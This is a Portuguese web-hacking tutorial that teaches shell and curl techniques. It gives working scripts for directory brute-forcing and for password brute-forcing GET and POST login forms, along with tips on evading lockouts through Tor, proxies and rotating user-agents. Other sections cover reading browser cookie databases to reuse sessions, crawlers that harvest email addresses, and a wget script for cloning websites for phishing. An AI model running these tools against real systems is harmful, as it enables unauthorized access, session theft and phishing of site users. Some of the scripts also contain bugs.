Web Hacking

Este paper irá abordar:

  • Básico de HTTP.

  • Reconhecimento de diretórios de website.

  • Brute force de áreas de login. ( curl )

  • Trabalhando com Cookies.

  • Trabalhando com User-Agents

  • WebCrawling

    • Buscando Emails

    • Buscando hosts de dominios

  • Site Clone

  • Trabalhando com Json

  • Trabalhando com xml

Básico de HTTP

Antes de avançarmos sobre HTTP, eu gostaria só de passar umas informações básicas sobre como o protocolo HTTP e HTTPS funciona.

A principio, ambos funcionam da mesma forma porém HTTPS implementa criptografia. O foco aqui é no protocolo em si, como ele funciona e de suma importância os status code que ele retorna.

Em requisições web e em todoos os tipos de requisições nós sempre temos o cliente e o servidor. No contexto web, um cliente requisita geralmente uma requisição GET da index do webserver. O Servidor sempre um status code para o cliente e geralmente retorna o que o cliente solicitou.

Conforme a primeira imagem é possível ver que o servidor retorna o código 200 OK , que de acordo a tabela significa sucesso.

Outros status code podem ser obtidos, por exemplo, quando se tenta acessar um diretório que não existe você obtem um status code 404 Not Found.

Nós iremos trabalhar explicitamente com esses códigos de status durante esse paper, principalmente na parte de bruteforce de diretórios.

Reconhecimento de diretórios de website. ( curl/wget )

Nesse tópico iremos entrar em reconhecimento de diretórios e websites, vamos estar trabalhando basicamente com bruteforce mais além nesse mesmo paper irei abordar uma forma diferente de fazer tal reconhecimento que pode ser mais eficiente ou não.

Vamos ter em mente o seguinte, toda vez que nós tentamos acessar um diretório que existe ele retorna 200 OK

$ curl -sI diesec.sytes.net | head -n1
HTTP/1.1 200 OK

A flag s é para silent, para o curl não dumpar dados de conexão e a flag -I é para pegar apenas o HEADER da resposta da requisição, então redirecionamos e com o comando head nós pegamos apenas a primeira linha que é a linha qual contém as informações do status code, no caso foi HTTP/1.1 200 OK

Se tentarmos acessar um diretório/página que não existe, teremos um outro código de status:

# Acessando diretório inexistente
$ curl -sI diesec.sytes.net/bla/ | head -n1
HTTP/1.1 404 Not Found
# Acessando página inexistente
$ curl -sI diesec.sytes.net/page.php | head -n1
HTTP/1.1 404 Not Found

Se tentarmos acessar um diretório que existe porém não tem nenhum index configurado e o webserver não tiver com a configuração erronea de IndexOf, o erro que vai retornar é outro:

$ curl -sI diesec.sytes.net/wp-includes/ | head -n1
HTTP/1.1 403 Forbidden

Nesse caso obtivemos o status code de retorno HTTP/1.1 403 Forbidden, então o diretório existe. Método 401 -> Authentication Required Então um script de enumeração fica fácil, é só fazer os mesmos testes que realizamos porém de forma automatizada, caso retorne 200 ou 403, sabemos que existe.

Exercicio

Escreva um programa em shellscript que a partir de uma lista realize o bruteforce em diretórios e arquivos de um webserver. 

Solução

#!/bin/bash
function error(){
    echo "[*] Error: $1"
    exit 1
}
function usage(){
    echo "Jesus Morty, calm down!
        Execute o script da seguinte forma:
        $(basename)$0 <wordlist> <target>"
    exit 1
}
if [ $# -lt 2 ];then
    usage
fi

[ -f $1 ] || error "Arquivo com wordlist não foi encontrado"
[ -r $1 ] || error "Arquivo com wordlist não possui permissão de leitura"
echo "[*] Iniciando ataque contra $2"

if [ $(curl -sI $2/$word | head -n1 | cut -d ' ' -f2 ) == '200' ];then
    echo "[*] Alvo está online"
else
    echo "[*] Alvo não retornou 200 no index"
    read -p 'Deseja Continuar?[y/n]'
    [ $REPLY == 'n' ] && exit 1
fi
while read word
do
    STATUS_CODE=$(curl -sI $2/$word | head -n1 | cut -d ' ' -f2 )
    if [ "$STATUS_CODE" == '200' ] || [ "$STATUS_CODE" == '403' ];then
      echo -e "\r\033[0K\r[!] $2/$word $STATUS_CODE"
    else
      echo -ne "\r\033[0K[-] Testando $2/$word"
    fi
done < $1

O código acima não faz nada alienigena, só coloquei algumas coisas que não falei antes nesses papers mais vou explicar detalhadamente.

Na linha abaixo eu salvo o status code da requisição HTTP na variável STATUS_CODE, o cut utilizado foi para pegar o valor do código apenas.

STATUS_CODE=$(curl -sI $2/$word | head -n1 | cut -d ' ' -f2 )

Na linha abaixo eu utilizei uns truques do echo para sobreescrever a linha, deixando um output mais interessante:

  echo -e "\r\033[0K\r[!] $2/$word $STATUS_CODE"

O programa fica exibindo qual URL ele está testando na mesma linha, quando uma requisição retorna o código desejado ele salva o texto na linha sobreescrevendo a mesma linha e pula pra próxima linha quando cai do else. Truque que deixa o programa com uma cara mais bonita no runtime!

A wordlist você pode por exemplo utilizar as wordlists do dirb, é um programa que faz praticamente a mesma coisa que nosso script porém com umas features a mais, ele tem umas wordlists já prontas e uma vez instalado as wordlists se encontram no diretório /usr/share/dirb/wordlists

$ ls -l  /usr/share/dirb/wordlists/
total 260
-rw-r--r-- 1 root root 184073 Jan 24  2012 big.txt
-rw-r--r-- 1 root root   1292 Jan 27  2012 catala.txt
-rw-r--r-- 1 root root  35849 Nov 17  2014 common.txt
-rw-r--r-- 1 root root   1492 May 23  2012 euskera.txt
-rw-r--r-- 1 root root    142 Dec 29  2005 extensions_common.txt
-rw-r--r-- 1 root root     75 Mar 16  2012 indexes.txt
-rw-r--r-- 1 root root    244 Dec 29  2005 mutations_common.txt
drwxr-xr-x 2 root root   4096 Sep 29 19:19 others
-rw-r--r-- 1 root root   6561 Mar  4  2014 small.txt
-rw-r--r-- 1 root root   3731 Nov 12  2014 spanish.txt
drwxr-xr-x 2 root root   4096 Sep 29 19:19 stress
drwxr-xr-x 2 root root   4096 Sep 29 19:19 vulns

Ou vocẽ pode utilizar a sua própria wordlist de acordo com o que você encontrar por ai!

Para executar o programa faça assim:

./webbrute.sh /usr/share/dirb/wordlists/common.txt qualquersite.com

Bom, sobre enumeração de diretórios atŕaves de bruteforce é isso, iremos dar uma olhada em outras técnicas ainda nesse paper mais à frente sobre técnicas mais refinadas de enumeração utilizando web crawler.

O cURL é tão irado que de acordo com a documentação você pode realizar ataques da seguinte forma:

http://site.{one,two,three}.com
ftp://ftp.example.com/file[1-100].txt
ftp://ftp.example.com/file[a-z].txt

Brute force em áreas de login.

Outra coisa que pode ser util geralmente em casos de desespero é o BruteForce, o shellscript é tão poderoso que te permite realizar bruteforce em aplicações web que não provêm de mecanismos de proteção contra tal técnica.

Em casos que o alvo possua mecanismos para mitigar/bloquear ataques de BruteForce, você pode adotar várias técnicas para confundir a ferramenta de proteção como por exemplo utilizar diferentes User-Agents de forma aleatória, trocar o endereço IPv4 atráves de instâncias da rede tor ou proxys.

Para essa parte eu escrevi um pouco de html/PHP para fazer um ambiente controlado.

Segue abaixo a index.html:

<!DOCTYPE html>
<html>
  <head>
    <title>BruteForceME</title>
  </head>
  <body>
    <h1>Blabla?</h1>
    <form action='checkForm.php' method='get'>
      <input type='text' name='username' placeholder='Username'>
      <input type='password' name='password' placeholder='password'>
      <input type='submit' value='Submit'>
    </form>
  </body>
</html>

Agora o formulário checkForm.php:

<?php
$USERNAME = $_GET['username'];
$PASSWORD = $_GET['password'];
if ( $USERNAME == 'admin'  &&  $PASSWORD == 'coxinha2'){
    echo "Get inside";
} else
    echo 'die';
?>

Nesse caso eu não subi um banco de dados mas isso é irrelevante para os testes. Nesse primeiro exemplo vamos estar explorando um formulário que utiliza o método GET de requisição, o que isso quer dizer? O método GET passa as requisições pela URL, ou seja, em texto plano. Vamos fazer um hands on e você vai entender.

Uma vez que você tenha acessado o formulário num webserver, e entrar com os dados no formulário e clicar em Submit, você pode notar a seguinte alteração na URL:

http://localhost/**checkForm.php?username=shellscrypt2&password=pentester**

Repare que os dados que você inseriu nos campos username e password no formulário foram passados em texto plano na URL, caso você altere qualquer um dos campos da URL e dê enter, uma nova requisição será feita.

Outra forma de identificar quais são os campos do formulário é abrir o source da página, isso pode ser feito teclando ctrl^u ou inserindo na url no começo view-source: da seguinte forma:

**view-source:**http://localhost/

Uma vez feito isso basta analisar o código do formulário. Outra forma também é clicar com o botão direito do mouse e ir em inspect element e logo em seguida ir na aba Network, deixe essa console aberta e volte no formulário na mesma do navegador e então realize o submit no formulário, você verá que as requisições apareceram na console, então selecione a requisição cujo campo FILE esteja com o script de action visto no formulário anteriormente:

 <form action='checkForm.php' method='get'>

Então você pode ir em Params e avaliar os parâmetros passados para o script.

Bom, nesse caso já temos o necessário para começar a escrever o programa de BruteForce no formulário.

Então avaliando o manual do comando cURL você pode notar que existem várias formas de fazer a mesma coisa com o mesmo comando, vou estar mostrando a mais simples.

Vou estar usando a própria URL para realizar o ataque, como você viu anteriormente os dados passam em texto plano então não é necessário muita coisa além de alguns loops.

Lets Roll!11!

#!/bin/bash
## TO DO 
# Verificar se existe formulário na página
# Parametrizar o nome dos campos do formulário ou adicionar detecção automatica, whereneaver fucko
# Verificar se os campos do formulário existem dentro do formulário que o usuário instruiu

function usage(){
    case $1 in
        1) echo "Error: $2
            Para a Utilização desse script utilize:
            $(basename $0) [url_target] [wordlist] username" ;;
        2) echo $2
            exit 0;;
        *) echo "Error: Exiting"
           exit 1 ;;
    esac

    exit 1
}

function banner(){
    figlet $1
}

banner 'The Biggest Form Fucker'
[ $# -lt 3  ] && usage 1 "[!!] Número de parâmetros insuficientes"
echo "[+] Iniciando Verificações no alvo $1 "
STATUS_CODE=$(curl -I  -s diesec.sytes.net | head -n1 | awk '{print $2}')
if [ $STATUS_CODE == '200' ];then
    TARGET=$1
else
    read -p "[!!] Requisição ao $1 retornou $STATUS_CODE!
               Deseja Contiuar?[y/n]"
    [ $( echo $REPLY | tr A-Z a-z ) == 'y' ] || usage 2 '[**] Encerrando por solicitação do usuário!'
fi
echo "[+] Alvo OK TARGET--> $TARGET"
echo "[+] Verificando Wordlist"
[ -e $2 ] || usage 2 "[!!] Wordlist não existe"
[ -f $2 ] || usage 2 "[!!] Wordlist não é um arquivo"
[ -r $2 ] || usage 2 "[!!] Wordlist não tem permissão de leitura"
WORDLIST=$2
echo "[+] Wordlist OK WORDLIST --> $WORDLIST"
echo "[!!] Iniciando Analise em caso de falha"
FAIL=$(curl -s "$TARGET/?username=admin&password=PLEASENOTBEAPASSWORD")
echo "[!!] Iniciando Ataque"
while read word
do
    PAGE=$(curl -s "$TARGET?username=admin&password=$word")
    if [ "$PAGE" != "$FAIL" ]
    then
        echo -e "\n\n[+] Ataque concluido, password válida: $word"
        exit 0
    else
          echo -ne "\r\033[0K[-] Testando $word"
    fi
done < $WORDLIST

No código anterior nós realizamos um ataque direto na URL aproveitando o metódo GET. Eu adicionei várias verificações no código e no cabeçalho do mesmo eu deixei um desafio para você. Sinta-se a vontade para passar horas codificando!

O outro método de transmitir valores para o action é atráves do método POST, ao contrário do GET o post não passar os dados via URL. Mais uma vez se analizarmos a documentação do cURL podemos ver que ele possui especificamente formas de se realizar esse tipo de interação:

  -F, --form <name=content>
               curl -F profile=@portrait.jpg https://example.com/upload.cgi
               curl -F "name=daniel;type=text/foo" example.com

 -X, --request <command>

Para esse laboratório vai ser necessário realizar pequenas alterações no nosso website, segue a index.html:

<!DOCTYPE html>
<html>
  <head>
    <title>BruteForceME</title>
  </head>
  <body>
    <h1>Blabla?</h1>
    <form action='check.php' method='POST'>
      <input type='text' name='username' placeholder='Username'>
      <input type='password' name='password' placeholder='password'>
      <input type='submit' value='Submit'>
    </form>
  </body>
</html>
<?php
$USERNAME = $_POST['username'];
$PASSWORD = $_POST['password'];
if ( $USERNAME == 'admin'  &&  $PASSWORD == 'coxinha2'){
    echo "Get inside";
} else
    echo 'die';
?>

Se você analisar agora quando clicar em SUBMIT vai identificar que os dados do formulário não mais é passado pela URL e como já explicado anteriormente é asssim que o método POST opera. Bom e para realizar ataques à aplicações POST?

Vamos fazer um handson, lets code!

#!/bin/bash
## TO DO 
# Verificar se existe formulário na página
# Parametrizar o nome dos campos do formulário ou adicionar detecção automatica, whereneaver fucko
# Verificar se os campos do formulário existem dentro do formulário que o usuário instruiu

function usage(){
    case $1 in
        1) echo "Error: $2
            Para a Utilização desse script utilize:
            $(basename $0) [url_target] [wordlist] username" ;;
        2) echo $2
            exit 0;;
        *) echo "Error: Exiting"
           exit 1 ;;
    esac

    exit 1
}

function banner(){
    figlet $1
}

banner 'The Biggest Form Fucker'
[ $# -lt 3  ] && usage 1 "[!!] Número de parâmetros insuficientes"
echo "[+] Iniciando Verificações no alvo $1 "
STATUS_CODE=$(curl -I  -s diesec.sytes.net | head -n1 | awk '{print $2}')
if [ $STATUS_CODE == '200' ];then
    TARGET=$1
else
    read -p "[!!] Requisição ao $1 retornou $STATUS_CODE!
               Deseja Contiuar?[y/n]"
    [ $( echo $REPLY | tr A-Z a-z ) == 'y' ] || usage 2 '[**] Encerrando por solicitação do usuário!'
fi
echo "[+] Alvo OK TARGET--> $TARGET"
echo "[+] Verificando Wordlist"
[ -e $2 ] || usage 2 "[!!] Wordlist não existe"
[ -f $2 ] || usage 2 "[!!] Wordlist não é um arquivo"
[ -r $2 ] || usage 2 "[!!] Wordlist não tem permissão de leitura"
WORDLIST=$2
echo "[+] Wordlist OK WORDLIST --> $WORDLIST"
echo "[!!] Iniciando Analise em caso de falha"
FAIL=$(curl -s -X POST --data "username=admin&password=DONOTDOTHAT" "$TARGET")
echo "[!!] Iniciando Ataque"
while read word
do
    PAGE=$(curl -s -X POST --data "username=admin&password=$word" "$TARGET")
    if [ "$PAGE" != "$FAIL" ] 
    then
        echo -e "\n\n[+] Ataque concluido, password válida: $word"
    figlet $word
        exit 0
    else
          echo -ne "\r\033[0K[-] Testando $word"
    fi
done < $WORDLIST

Sobre Cookies.

Cookies são usados para identificar usuários, é um pequeno arquivo que fica armazenado no computador do usuário. Cada vez que um memso computador requisita uma página web atráves de um browser, será encaminhado um cookie também. Cookies são usados não apenas para identificar usuários mas para controle de sessão, preferências e muitas vezes é utilizado para redrecionar propaganda.

Por que isso é importante? Vamos supor que você precise fazer um teste em uma aplicação porém precise estar logado para realizar tal teste. Quando você loga em alguma aplicação você vai ter um cookie que vai conter a sessão do seu login, sem o cookie o sistema identifica que você não está logado. Com o cookie os sistema reconhece seu login. Isso é tão legal que se você pegar o cookie e colocar em outro browser ou outro computador vai ser capaz de abrir a sessão do usuário desde que o cookie não tenha expirado.

O cURL também trabalha com cookies, de acordo com o manual:

-c, --cookie-jar <filename>
  (HTTP) Specify to which file you want curl to write all cookies after a completed operation. Curl writes all cookies from its in-memory cookie storage to  the given file at the end of operations. If no cookies are known, no data will be written. The file will be written using the Netscape cookie file format. If you set the file name to a single dash, "-", the cookies will be written to stdout.
  This command line option will activate the cookie engine that makes curl record and use cookies. Another way to activate it is to use the -b, --cookie option.
  If  the cookie jar can't be created or written to, the whole curl operation won't fail or even report an error clearly. Using -v, --verbose will get a warning displayed, but that is the only visible feedback you get about this possibly lethal situation.
  If this option is used several times, the last specified file name will be used.

-b, --cookie <data>
  (HTTP) Pass the data to the HTTP server in the Cookie header. It is supposedly the data previously received from the server in a  "Set-Cookie:"  line.
  The data should be in the format "NAME1=VALUE1; NAME2=VALUE2".
  If  no  '='  symbol is used in the argument, it is instead treated as a filename to read previously stored cookie from. This option also activates the cookie engine which will make curl record incoming cookies, which may be handy if you're using this in combination with the -L, --location  option  or do multiple URL transfers on the same invoke.
  The file format of the file to read cookies from should be plain HTTP headers (Set-Cookie style) or the Netscape/Mozilla cookie file format.
  The file specified with -b, --cookie is only used as input. No cookies will be written to the file. To store cookies, use the -c, --cookie-jar option.
  If this option is used several times, the last one will be used.
  Users very often want to both read cookies from a file and write updated cookies back to a file, so using both -b, --cookie and  -c,  --cookie-jar  in the same command line is common.

Os arquivos de cookies são armazenados num banco sqlite pelo firefox, segue abaixo:

$ find ~ -type f -iname cookies.sqlite
/home/operador/.mozilla/firefox/zxsaedfw.default/cookies.sqlite
$ file /home/operador/.mozilla/firefox/zxsaedfw.default/cookies.sqlite
/home/operador/.mozilla/firefox/zxsaedfw.default/cookies.sqlite: SQLite 3.x database, user version 9, last written using SQLite version 3023001

Você poderia entrar naquele banco de dados porém ele irá estar em lock pois estará em uso por outro processo caso o navegador esteja aberto e você não irá conseguir interagir.

operador@remember:/var/www/html/form$ cp  /home/operador/.mozilla/firefox/zxsaedfw.default/cookies.sqlite /tmp/cookie.sqlite
operador@remember:/var/www/html/form$ cd /tmp/
operador@remember:/tmp$ sqlite3 cookie.sqlite 
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, originAttributes TEXT NOT NULL DEFAULT '', name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, inBrowserElement INTEGER DEFAULT 0, sameSite INTEGER DEFAULT 0, CONSTRAINT moz_uniqueid UNIQUE (name, host, path, originAttributes));
CREATE INDEX moz_basedomain ON moz_cookies (baseDomain, originAttributes);
sqlite> select * from moz_cookies;
1|google.com|^firstPartyDomain=safebrowsing.86868755-6b82-4842-b301-72671a0db32e.mozilla|NID|148=UNBJBSADF8VL9fACubjhZudFSAFD_SFghYZK5qFZCDxHMEJSVswHJOFXKXeG08TtsauUX1ULexcXGDGdgsdgjtkuSUZELBy2-oHsTGXmth-LaeorPjOyHVE1hKMqZKOx4Fk0iGFCsMfBB5SFYF6LP_dGkZKJgw3vdQI|.google.com|/|1559035767|1543853639753362|1543224567135208|0|1|0|0
2|contabo.com||__cfduid|da740b75ad6fc01cb6acasca86db16eb1543677793|.XXXXXXXX.com|/|1575213793|15436723131225|154123156547568|0|1|0|0

Então como fazer isso? Abaixo tem as formas possíveis de trabalhar com cookies usando o cURL

curl -v --cookie "USER_TOKEN=Yes" http://127.0.0.1:5000/
curl -c /path/to/cookiefile http://yourhost/
curl -b /path/to/cookiefile  http://yourhost/

https://www.w3schools.com/php/php_cookies.asp

Trabalhando com User-Agents

Um user-agent é a identificação do cliente do usuário que acessa um determinado sistema. Nas requisições como nós já vimos anteriormente é possível ver que os browsers por exemplo informam qual é o user-agent que está requisitando determinada página.

O cURL também tem capacidade de operar com user-agents nas requisições, observe:

-A, --user-agent <name>
  (HTTP)  Specify  the  User-Agent string to send to the HTTP server. To encode blanks in the string, surround the string with single quote marks. This              can also be set with the -H, --header option of course.
  If this option is used several times, the last one will be used.

WebCrawling

Web Crawler ou em português rastreador de rede, é um programa de computador que navega pela rede mundial de uma forma metódica e automatizada.

Vocẽ pode por exemplo escrever um programa para fazer crawler atrás de e-mails ou números de telefone. Esses programas abrem uma página web e procuram por padrões, que podem ser outras páginas web ou simplesmente emails, números de telefone, endereços etc.

Exemplos de web Crawlers

  • Yahoo! Sluro é o nome do Crawler do Yahoo!

  • Msnbot é o nome do Crawler do Bing – Microsoft.

  • Googlebot é o nome do Crawler do Google.

  • Methabot é um Crawler com suporte a scripting escrito em C.

  • Arachnode.net é um Web Crawler open-source usando a plataforma .NET e escrito em C#

  • DuckDuckBot é o Web Crawler do DuckDuckGo.

Aqui iremos abordar a criação de dois tipos, o primeiro vai ser para detectar endereços de e-mail.

Para concluir essa tarefa vamos dar uma passada breve em regularExpression. Mas o que é isso?

Uma expressão regular(regex, regexp) é uma string de texto especial que realiza buscas em texto atráves de padrão.

Metacaracteres
$ ? * 

^ -> Representa o começo da linha
$ -> Representa o fim da linha
[abc] -> Casa com letras a ou b ou c 
[a-d] -> Casa com letras de a até d
[^abc] -> Cada com qualquer caractere exceto os listados. 
(esse|aquele) -> OU lógico
a{2} -> Casa a letra a duas vezes
a{2,4} -> Cada a letra a de duas a quatro vezes
a{2,} -> Casa a letra a no minimo duas vezes
a? -> Casa a zero ou mais vezes
a* -> Casa a letra a zero ou mais vezes
a+ -> Casa a letra 'a' uma ou mais vezes

. -> Casa com um caracter qualquer
.* -> Casa qualquer coisa.

O asterisco sozinho não diz nada, ele é apenas um repetidor que precisa de algo antes, como em . ou [0-9]. Não confundir com file globin.

grep ^root /etc/passwd

grep bash$ /etc/passwd

grep '^$' /etc/passwd

grep '[Cc]arlos' /etc/passwd

Pesquisando por nomes que começam com vogais.

grep '^[aeiou]' /etc/passwd

Negação:

grep '^[^aeiou]' /etc/passwd

Ignorando a primeira letra e a segundo sendo uma vogal.

grep '^.[aeiou]' /etc/passwd

What?:

grep '^...................$' /etc/passwd

As chaves

As expressẽos regulares nos dão ferramentas mais flexíveis para fazer a pesquisa. Colocando um número entre chaves, indica-se uma quantidade de repetições do caractere(ou metacaractere) anterior: egrep '^.{27}$' /etc/passwd

As chaves fazem parte de um conjunto avançado de expressões regulares(extended) e o egrep lida melhor com elas, se fosse para utilizar o grep normal seria necessário escapar as chaves grep '^.{27}$' /etc/passwd

egrep  '^.{20,40}$' /etc/passwd

egrep  '^.{20,}$' /etc/passwd

Combinando metacaracteres:

egrep '[0-9]{3,}' /etc/passwd

O Curinga . (AND) Procura por usuários cujo nome começa com vogal e que o shell seja o bash: egrep '^[aeiou].bash$' /etc/passwd

Funciona como um AND lógico.

OR Lógico

egrep '^(ana|carlos|acs):' /etc/passwd

Outros metacaracteres --> * + ? ? -> {0,1}

  • -> {0,}

  • -> {1,}

Lugares que você pode estar praticando:

  • Pacote txt2regex

  • regexpal.com

  • regex101.com

Vamos ao coding!

#!/bin/bash
function goError(){
    case $1 in 
        1) echo "Error: $2"
            exit 1;;

        6) echo "[!] $2"
        exit 0
        ;;
    esac

}
[ $# -lt 1 ] && goError 1 'Número de argumentos insuficientes'
echo "[+] Testando o Alvo:$1"
HTTP_STATUS=$(curl -sI $1 | head -n1 | awk '{print $2}')
if [ "$HTTP_STATUS" != '200' ];then
    read -p "[-] Verificação retornou código: $HTTP_STATUS. Deseja Continuar?[y/n]"
    [ "$REPLY" == 'y' ] || goError 6 'Programa cancelado pelo usuário'
fi
echo "[-] Baixando dados do website"
wget -q $1 -O /tmp/.$1
data=$(cat /tmp/.$1)
regex="^[a-z0-9!#\$%&'*+/=?^_\`{|}~-]+(\.[a-z0-9!#$%&'*+/=?^_\`{|}~-]+)*@([a-z0-9]([a-z0-9-]*[a-z0-9])?\.)+[a-z0-9]([a-z0-9-]*[a-z0-9])?\$"
echo $data | egrep --color -o '[A-Za-z0-9]+@[a-z]=?[a-z]*?[.a-z]*?'
rm /tmp/.$1

Bom, nós podemos aplicar o crawler para encontrar diretórios no website a partir da index, vamos ver como ficaria um código disso:

#!/bin/bash
function goError(){
    case $1 in 
        1) echo "Error: $2"
            exit 1;;

        6) echo "[!] $2"
        exit 0
        ;;
    esac

}
[ $# -lt 1 ] && goError 1 'Número de argumentos insuficientes'
echo "[+] Testando o Alvo:$1"
HTTP_STATUS=$(curl -sI $1 | head -n1 | awk '{print $2}')
if [ "$HTTP_STATUS" != '200' ];then
    read -p "[-] Verificação retornou código: $HTTP_STATUS. Deseja Continuar?[y/n]"
    [ "$REPLY" == 'y' ] || goError 6 'Programa cancelado pelo usuário'
fi
echo "[-] Baixando dados do website"
wget -q $1 -O /tmp/.$1
data=$(cat /tmp/.$1)
regex='href="?\w+[://]+?\w+.?\w+.?\w+.?\w?+\W+?\w+?\W\w+?' 
echo $data | grep $1 | egrep  -o $regex | awk -F '=' '{print $2}'
rm /tmp/.$1

Um outro programa para identificat hosts de dominio dentro da index do website do alvo é o seguinte:

#!/bin/bash
DIR=/tmp
echo -n "[+] Running Wget in $1"
wget -U " Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" -q $1 -O $DIR/$1.html 
echo " ->>> DONE"
echo "[+] Starting routine to find hosts from domain"
for i in $(egrep -i '<a href="\w+:..\w+.\w+.\w+' $DIR/$1.html  -o | cut -d '/' -f 3 | sort  | uniq | grep $1);do
#    host -4 $i
    echo "$i : " $(dig $i +short)
done
echo "[+] DONE"
echo "[+] Cleaning"
rm $DIR/$1.html

Algumas outras dicas para tratamento de texto:

Removendo tags:

 echo "<p><b><i>blaster him</i></b></p>"' | sed 's/<[^>]*>//g'

Sem aspas no href:

sed 's/.*href=// ; s/>.*//'

A ideia é padronizar o arquivo, por exemplo, remover todas as aspas e passar tudo pra minusculo, substituir quebras de linha por espaços em branco, assim você não precisa ficar alterando o código que extrai os dados.

Ferramenta chamada tidy -> Arrumar e alinhas códigos HTML/XML.

Lynx The Cli Browser

Principais opções:

  • dump -> Renderiza uma página HTML e manda para STDOUT

  • source -> Baixa o Fonte HTML de uma página e manda para STDOUT

  • nolist -> Usado com o -dump, para omitir a listagem de links

  • width -> Define a largura máxima do texto, o padrão é 80

Site Clone

A clonagem de websites é muito útil em ataques de engenharia social, onde você faz o seu alvo acreditar que está acessando o site legitimo porém é um site clonado que vocẽ fez.

Existem muitas ferramentas já prontas com isso, um exemplo é o SET. Aqui iremos estar desenvolvendo um programa que clona websites a partir do programa wget.

Aqui nós podemos utilizar um dos programas que nós criamos anteriormente que identificava os diretórios do website, então quando um diretório é identificado nós podemos efetuar o download do mesmo realizando a clonagem.

A opção -m do wget permite realizar a clonagem de forma recursiva.

#!/bin/bash
function goError(){
    case $1 in 
        1) echo "Error: $2"
            exit 1;;

        6) echo "[!] $2"
        exit 0
        ;;
    esac

}
[ $# -lt 1 ] && goError 1 'Número de argumentos insuficientes'
echo "[+] Testando o Alvo:$1"
HTTP_STATUS=$(curl -sI $1 | head -n1 | awk '{print $2}')
if [ "$HTTP_STATUS" != '200' ];then
    read -p "[-] Verificação retornou código: $HTTP_STATUS. Deseja Continuar?[y/n]"
    [ "$REPLY" == 'y' ] || goError 6 'Programa cancelado pelo usuário'
fi
echo "[-] Baixando dados do website"
wget -q $1 -O /tmp/.$1
data=$(cat /tmp/.$1)
cd /tmp
HREF=$(echo $data | sed 's/.*href=// ; s/>.*//' | grep $1) 
echo $HREF
read
for url in $(echo $data | grep href | sed 's/.*href=// ; s/>.*//' | cut -d \" -f 2)
do
  if [ $( echo $url | grep -i $1 | wc -l ) == '1' ]
    echo "[-] Download de $url"
      then wget -qx $url
  fi 
done
cd - 
rm /tmp/.$1

Last updated